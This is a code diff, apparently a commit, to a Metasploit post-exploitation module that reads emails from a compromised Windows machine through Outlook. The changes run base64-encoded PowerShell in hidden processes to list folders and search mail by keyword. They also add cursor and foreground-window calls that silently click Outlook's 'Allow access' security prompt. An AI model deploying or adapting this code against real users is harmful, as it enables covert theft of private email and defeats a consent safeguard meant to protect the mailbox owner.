@@ -23,7 +23,7 @@ def initialize(info={})
23
23
'License' => MSF_LICENSE ,
24
24
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ] ,
25
25
'Platform' => [ 'win' ] ,
26
- 'Arch' => [ 'x86' , 'x64' ] ,
26
+ 'Arch' => [ 'x86' , 'x64' ] ,
27
27
'SessionTypes' => [ 'meterpreter' ]
28
28
) )
29
29
@@ -52,10 +52,13 @@ def listBoxes
52
52
|
53
53
utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
54
54
encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
55
- listBoxes_res = cmd_exec ( 'powershell' , '-enc ' + encoded_psh )
55
+ listBoxes_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
56
+ sleep 3
57
+ print listBoxes_res . channel . read
58
+ listBoxes_res . channel . close
59
+ listBoxes_res . close
56
60
currentidle = session . ui . idle_time
57
61
print_status ( "System has currently been idle for #{ currentidle } seconds" )
58
- print_status listBoxes_res
59
62
end
60
63
61
64
def readEmails ( folder , keyword , searchobject , atrans , acftrans )
@@ -70,16 +73,24 @@ def readEmails(folder,keyword,searchobject,atrans,acftrans)
70
73
$Outlook = New-Object -ComObject Outlook.Application
71
74
$Namespace = $Outlook.GetNameSpace("MAPI")
72
75
$NameSpace.Folders.Item(1)
76
+ try {
73
77
$Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items
74
78
$Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}
75
79
Write-Host $Email
80
+ } catch {
81
+ Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
82
+ }
76
83
}
77
84
Get-Emails "#{ keyword } " "#{ folder } " "#{ searchobject } "
78
85
|
79
86
utf16conv = Iconv . conv ( 'UTF16LE' , 'ASCII' , psh_script )
80
87
encoded_psh = Rex ::Text . encode_base64 ( utf16conv )
81
- readEmails_res = cmd_exec ( 'powershell' , '-enc ' + encoded_psh )
82
- print_status readEmails_res
88
+ readEmails_res = session . sys . process . execute ( "powershell.exe -enc #{ encoded_psh } " , nil , { 'Hidden' => true , 'Channelized' => true } )
89
+ while ( d = readEmails_res . channel . read )
90
+ print ( "#{ d } " )
91
+ end
92
+ readEmails_res . channel . close
93
+ readEmails_res . close
83
94
end
84
95
85
96
def clickButton ( atrans , acftrans )
@@ -91,6 +102,8 @@ def clickButton(atrans,acftrans)
91
102
client . railgun . user32 . MoveWindow ( hwnd [ 'return' ] , 150 , 150 , 1 , 1 , true )
92
103
hwndChild = client . railgun . user32 . FindWindowExW ( hwnd [ 'return' ] , nil , "Button" , "#{ atrans } " )
93
104
client . railgun . user32 . SetActiveWindow ( hwndChild [ 'return' ] )
105
+ client . railgun . user32 . SetForegroundWindow ( hwndChild [ 'return' ] )
106
+ client . railgun . user32 . SetCursorPos ( 150 , 150 )
94
107
client . railgun . user32 . mouse_event ( 0x0002 , 150 , 150 , nil , nil )
95
108
client . railgun . user32 . SendMessageW ( hwndChild [ 'return' ] , 0x00F5 , 0 , nil )
96
109
end
@@ -107,18 +120,18 @@ def run
107
120
# OS language check
108
121
sysLang = client . sys . config . sysinfo [ 'System Language' ]
109
122
if sysLang != "en_US" and sysLang != "NL"
110
- if allow . nil? or allow_access_for . nil?
111
123
print_error ( "System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)" )
112
124
abort ( )
113
- else
114
- atrans = allow
115
- acftrans = allow_access_for
116
- end
117
125
else
118
126
atrans = A_HASH [ sysLang ]
119
127
acftrans = ACF_HASH [ sysLang ]
120
128
end
121
129
130
+ if allow and allow_access_for
131
+ atrans = allow
132
+ acftrans = allow_access_for
133
+ end
134
+
122
135
# Outlook installed
123
136
@key_base = "HKCU\\ Software\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Windows Messaging Subsystem\\ Profiles\\ Outlook\\ 9375CFF0413111d3B88A00104B2A6676"
124
137
outlookInstalled = registry_getvaldata ( "#{ @key_base } \\ " , "NextAccountID" )
@@ -158,7 +171,7 @@ def run
158
171
print_status ( 'Not printing folders, LIST_FOLDERS disabled' )
159
172
end
160
173
161
- if folder
174
+ if folder and folder != ""
162
175
readEmails ( folder , keyword , object , atrans , acftrans )
163
176
end
164
177
end
0 commit comments